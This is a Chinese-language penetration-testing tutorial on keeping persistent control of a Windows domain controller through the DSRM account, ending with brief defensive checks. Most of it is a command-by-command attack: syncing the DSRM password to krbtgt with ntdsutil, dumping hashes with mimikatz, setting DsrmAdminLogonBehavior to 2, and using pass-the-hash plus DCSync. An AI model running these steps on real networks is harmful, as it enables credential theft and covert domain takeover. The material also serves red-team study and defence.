权限维持之:DSRM 域控权限维持
- 目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。
- DSRM用途:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM 的密码需要在安装 DC 时设置,且很少会被重置。修改 DSRM 密码最基本的方法是在 DC 上运行ntdsutil 命令行修改。
- 在渗透测试: 可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。
- 每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
1 修改 DSRM 密码
# Win08(已安装KB961320)及以上,可以将 DSRM 密码同步为已存在的域账号密码。
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account domainusername:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
# 补充,直接修改 DSRM密码
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
reset password on server null:在当前域控制器上恢复 DSRM 密码
<PASSWORD>:修改后的密码
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
2 DSRM 域后门操作过程
-
获取 krbtgt 的 NTLM hash
# 域控制器中使用mimikatz查看 krbtgt 的 NTLM hash privilege::debug lsadump::lsa /patch /name:krbtgt # 得到NTLM : fa02a0e57e5ba9189d00990ae64e87ce
-
查看同步前与同步后 DSRM 账号的 NTLM hash
# 查看同步前 DSRM 账号的 NTLM hash token::elevate lsadump::sam # 将 DSRM 账号和 krbtgt 的 NTLM Hash 同步 NTDSUTIL set DSRM password sync from domain account krbtgt # 查看同步后 DSRM 账号的 NTLM hash lsadump::sam
-
修改 DSRM 的登录方式
DSRM有三种登录方式,具体如下:
- 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
- 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
- 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
- 在 Windows 对 DSRM 使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
-
利用 mimikatz 使用 DSRM 账号通过网络远程登录域控制器
# 在域成员机器的管理员(如本地管理员)模式下打开 mimikatz privilege::debug # 注意:此处的 /domain 的值为域控制器的主机名 sekurlsa::pth /domain:dc /user:administrator /ntlm:fa02a0e57e5ba9189d00990ae64e87ce # Hash 传递完成后,在弹出的命令行窗口中打开mimikatz,使用 dcsync 功能远程转储 hash。 lsadump::dcsync /domain:test.lab /dc:dc /user:krbtgt dir \\dc\c$
3 DSRM 域后门防御
- 定期检测注册表中用于控制 DSRM 登录方式的键值
hklm:\system\currentcontrolset\control\lsa\dsrmadminlogonbehavior
,确认该键值为 1。或者删除该键值。 - 定期修改域中所有域控制器的 DSRM 密码。
- 经常检查 ID 为 4794 的日志,尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。